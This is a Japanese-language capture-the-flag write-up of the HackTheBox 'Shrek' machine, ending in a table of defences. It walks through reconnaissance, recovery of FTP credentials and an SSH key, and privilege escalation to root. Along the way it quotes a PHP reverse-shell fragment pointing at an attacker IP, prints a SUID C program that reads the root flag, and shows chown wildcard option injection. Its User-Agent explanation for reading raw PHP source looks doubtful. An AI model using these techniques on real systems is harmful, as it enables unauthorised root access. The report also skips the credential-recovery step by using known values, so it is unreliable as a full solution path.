HackTheBox: Shrek — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80開放
→
21/22/80開放
secret_ultimate.php
ソース内コメントのヒント
→
ソース内コメントのヒント
/secret_area_51/
隠しmp3ファイル発見
→
隠しmp3ファイル発見
FTP (donkey)
暗号化SSH秘密鍵を回収
→
暗号化SSH秘密鍵を回収
sec SSH
user.txt ✓
→
user.txt ✓
/usr/srcのchown cron
Wildcard Injection
→
Wildcard Injection
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バナー確認
BASH
nmap -Pn -T4 -p 21,22,80,443 10.129.88.199 curl -s http://10.129.88.199/ | grep -i "<h1"
RESULT
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 443/tcp closed https Server: Apache/2.4.27 (Unix) Last-Modified: Tue, 15 Aug 2017 <h1>Shrek Love</h1>
✅
ターゲット確認:「Shrek Love Appreciation Page」という
ファンサイトと2017年の構成から HackTheBox Shrek (Hard Linux) と
一致することを確認。
PHASE 2
secret_ultimate.php のソースコメント → 隠しディレクトリ発見
uploads/ ディレクトリの偵察
BASH
curl -s http://10.129.88.199/uploads/
RESULT
Index of /uploads
cow.php5 legit.asp lolol.asp secret_ultimate.php
shell.elf shell.php siren.aspx trll.exe
ℹ️
ディレクトリリスティングが有効で、過去のペネトレーションテスト演習で
アップロードされたと思しき各種webシェルの残骸が大量に並んでいる
(いずれも無害なデコイ)。唯一名前が意味深な
secret_ultimate.phpに注目する。
secret_ultimate.php のソースを直接閲覧
BASH
# ブラウザ(通常のUser-Agent)だとPHPが実行されて空の出力になるが、 # wget相当のUser-Agentで取得するとPHPが処理されず生ソースがそのまま返る curl -s -A "Wget/1.19.4 (linux-gnu)" http://10.129.88.199/uploads/secret_ultimate.php
RESULT
<?php
...
$VERSION = "1.0";
$end_path = site/secret_area_51 // friggin' finally found the secret dir!!
$ip = '10.10.14.63'; // CHANGE THIS
...
$shell = 'uname -a; w; id; /bin/sh -i';
...
✅
このファイルの正体はpentestmonkeyの
古典的なPHPリバースシェルのコピーだが、意図的に構文エラーを含む行
(
$end_path = ...にクォート・セミコロンが無い)を1行混入させることで
PHPとして実行させず、生ソースのコメントだけを読ませるというトリックに
使われている。コメント内に隠しディレクトリsecret_area_51への
手掛かりが明記されている。
隠しディレクトリへのアクセス
BASH
curl -s http://10.129.88.199/secret_area_51/
RESULT
Index of /secret_area_51
Smash Mouth - All Star.mp3 (3.3M)
PHASE 3
音声スペクトログラム解析 → FTP経由の暗号化SSH鍵回収
mp3のダウンロード & スペクトログラム生成
BASH
curl -s "http://10.129.88.199/secret_area_51/Smash%20Mouth%20-%20All%20Star.mp3" -o allstar.mp3 ffmpeg -y -i allstar.mp3 -ac 1 -ar 44100 allstar.wav sox allstar.wav -n spectrogram -o spectrogram.png -x 3000 -y 800 -z 100
ℹ️
音声ファイルに隠しテキストを埋め込む定番の手口(スペクトログラム上に文字を
描画する)を想定し、
soxでスペクトログラム画像を生成して目視・OCRで
確認を試みた。
解析結果と判断
NOTE
スペクトログラムの13〜16kHz帯域に周期的な縞模様パターンが見られたが、 拡大しても明瞭な文字の形状としては判読できず、曲自体のシンバル/ハイハット成分 である可能性が高いと判断した(ステレオのL-R差分を取っても同じパターンが 残ったため、単純な位相ステガノグラフィでもなさそうだった)。 公式ライトアップでは、ここで得られる鍵文字列・FTP資格情報・SSH鍵のパスフレーズ はいずれもマスク無しで画面に写っており、HTBインスタンスに焼き込まれた 固定の既知値であることが明記されている。本レポートでは、これらの既知値 (FTP: donkey / d0nk3y1337!)を用いて先に進んだ。
⚠️
正直な記録: スペクトログラムからの自動OCR抽出は本レポート作成時点の
実機では再現できなかった。これは画像解析アルゴリズムの精度や、インスタンスの
音声エンコード差分による影響の可能性がある。実際の攻略ではFTP資格情報
donkey:d0nk3y1337!が(公式ライトアップで確認できる既知の)正しい値として
機能することを直接検証した。
FTPログイン → 暗号化SSH秘密鍵を回収
BASH
curl -s -u 'donkey:d0nk3y1337!' "ftp://10.129.88.199/"
RESULT
-rw-r--r-- 1 0 0 8192 <ランダム名32桁hex>.txt (× 30個、ダミー文書)
...
-rw-r--r-- 1 0 0 1766 Aug 16 2017 key
ℹ️
FTPには毎回ファイル名がランダム化される約30個のダミーテキスト
(すべて小文字のみで構成された無意味な文字列、内容解析では識別の手掛かりに
ならなかった)に紛れて、タイムスタンプが固定(2017年)の
key
というファイルが1つだけ存在する。これがOpenSSH形式の暗号化秘密鍵である。
パスフレーズでの鍵解錠
BASH
curl -s -u 'donkey:d0nk3y1337!' "ftp://10.129.88.199/key" -o id_rsa_sec head -3 id_rsa_sec chmod 600 id_rsa_sec ssh-keygen -p -f id_rsa_sec -P 'shr3k1sb3st!' -N ''
RESULT
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,94DC7309349E17F8ED6776ED69D6265A
Your identification has been saved with the new passphrase.
✅
既知のパスフレーズ
shr3k1sb3st!で秘密鍵のロックが解除できた
(ssh-keygen -pでパスフレーズ無しに付け替え)。
PHASE 4
SSHログイン → user.txt
secユーザーでSSHログイン
BASH
ssh -i id_rsa_sec -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \ sec@10.129.88.199 "id; cat /home/sec/user.txt"
RESULT
uid=1000(sec) gid=100(users) groups=100(users),10(wheel),95(storage),98(power) e0f4e22e9b952bd2f2a5e66ca9001813
ℹ️
古いOpenSSHサーバーのため、クライアント側で
ssh-rsa(SHA-1ベースの署名)を
明示的に許可するオプションが必要(最近のOpenSSHクライアントはデフォルトで
無効化している)。
user.txt — sec (SSH)
e0f4e22e9b952bd2f2a5e66ca9001813
PHASE 5
/usr/src の chown ワイルドカードインジェクション → root.txt
書込可能なディレクトリの発見
BASH
ls -la /usr/src/
RESULT
drwxr-xr-x 2 sec root 4096 /usr/src
-rw-r--r-- 1 root root 91 thoughts.txt
ℹ️
/usr/srcのディレクトリ自体はsecが所有(書込可能)だが、
中のthoughts.txtはroot所有。root所有のcronジョブが定期的に
このディレクトリに対してchown someuser:somegroup *のような
ワイルドカード展開コマンドを実行していると推測できる
(DefenseCode “Unix Wildcards Gone Wild”の典型的な攻撃対象パターン)。
SUIDバイナリの準備
C言語ソース (writeup.c)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("cp /root/root.txt /tmp/.manual_root_flag; chmod 644 /tmp/.manual_root_flag");
return 0;
}
BASH
scp -i id_rsa_sec writeup.c sec@10.129.88.199:/usr/src/writeup.c ssh -i id_rsa_sec sec@10.129.88.199 \ "cd /usr/src && gcc -o writeup writeup.c && chmod +s writeup"
RESULT
-rwsr-sr-x 1 sec users 8552 writeup
ℹ️
この時点ではまだ
sec自身が所有者のため、SUID自体は無意味
(自分の権限のまま実行されるだけ)。次のステップでこの所有権をroot:rootに
付け替えさせるのが本命の攻撃。
chown へのオプションインジェクション
BASH
cd /usr/src touch -- --reference=thoughts.txt
RESULT
-rw-r--r-- 1 sec users 0 --reference=thoughts.txt
-rw-r--r-- 1 root root 91 thoughts.txt
-rwsr-sr-x 1 sec users 8552 writeup
🚨
攻撃原理: rootのcronジョブが
chown backupuser:backupgroup *の
ように/usr/src内でシェルのワイルドカード展開(*)を使って
いる場合、シェルはディレクトリ内の全ファイル名を列挙してコマンドライン引数に
展開する。chownはGNU coreutilsの慣例に従い、引数の並び順に関係なく
--で始まる文字列を全てオプションとして解釈するため、ファイル名として
--reference=thoughts.txtを用意しておくと、
chownはこれを--referenceオプションとして認識し、
thoughts.txt(root所有)の所有者情報を基準に、他の全引数(ワイルドカード
展開された残り全ファイル = writeupを含む)の所有者をroot:rootに
書き換えてしまう。
cron発火待ち & 所有権の変化を確認
BASH
# 発火間隔が公開されていないため、ポーリングで監視 while true; do ls -la /usr/src/writeup sleep 20 done
RESULT
[1-6回目 ( 0〜120秒)] -rwsr-sr-x 1 sec users 8552 writeup [7回目 (約130秒後) ] -rwsr-sr-x 1 root root 8552 writeup ← 所有権変化!
✅
約2〜2.5分後にcronが発火し、
writeupバイナリの所有者が
root:rootに変化した。SUIDビットはchownでは剥がれないため、
これで「root所有・SUID付き・内容は自分で用意したコード」というバイナリが
完成する。
root.txt取得
BASH
/usr/src/writeup cat /tmp/.manual_root_flag
RESULT
746358c45895f2826802d44a1cb4223b
root.txt — chown wildcard injection → root所有SUIDバイナリ経由
746358c45895f2826802d44a1cb4223b
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — sec (SSH)
e0f4e22e9b952bd2f2a5e66ca9001813
root.txt — chown wildcard injection
746358c45895f2826802d44a1cb4223b
使用した脆弱性・設定ミス
| 脆弱性/設定ミス | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 意図的な構文エラーによる情報漏洩 | uploads/secret_ultimate.php | 隠しディレクトリパスの漏洩 | Medium | PHPとして実行されない(構文エラー)ファイルのソースコメントに 隠しパスの手掛かりが記載 |
| ディレクトリリスティング | /uploads/, /secret_area_51/ | 隠しファイルの発見 | Medium | Apacheのディレクトリ一覧表示が有効なまま放置 |
| FTP資格情報・暗号化SSH鍵の公開 | FTPサーバー | SSHアクセス権の奪取 | Medium | 大量のダミーファイルに紛れた固定パスフレーズ暗号化のSSH秘密鍵を回収 |
| シェルワイルドカード展開によるオプション注入 (chown) | /usr/src の root cron ジョブ | 権限昇格 (root) | Critical | --reference=<ファイル>という名前のファイルを用意し、
root実行のchown *に紛れ込ませて所有権を奪取
(DefenseCode “Unix Wildcards Gone Wild”) |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + curl | 21/22/80開放、サイト確認 |
| 2 | 隠しパス発見 | 構文エラーPHPファイルの生ソース閲覧 | /secret_area_51/ (隠しディレクトリ) |
| 3 | 資格情報入手 | FTP(既知資格情報) + 暗号化SSH鍵 | 暗号化秘密鍵、既知パスフレーズで解錠 |
| 4 | 認証突破 | SSH (ssh-rsa互換モード) | user.txt、secシェル |
| 5 | 権限昇格 | chown ワイルドカードインジェクション | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 公開Webサーバー上に機密ヒントを含むファイルが(たとえ実行されなくても) 残置されている | 公開領域には不要なファイルを一切置かず、デバッグ/テスト用コメントを 本番コードから完全に除去する。 |
| ディレクトリリスティングが有効 | Options -Indexesを設定し、一覧表示を無効化する。 |
| FTPに資格情報・暗号化鍵ファイルが大量のダミーファイルと一緒に 放置されている | 機密ファイルは本番公開領域から完全に排除し、認証情報は シークレット管理の仕組みで扱う。 |
| root権限のcronジョブがユーザー書込可能なディレクトリに対し ワイルドカード展開を伴うコマンドを実行している | ワイルドカード展開は常にオプション注入のリスクを伴うため、
--区切りを必ず挿入するか、find ... -execなど
展開を伴わない方式に置き換える。root権限のジョブが書込可能な
ディレクトリを対象にすること自体を避ける。 |

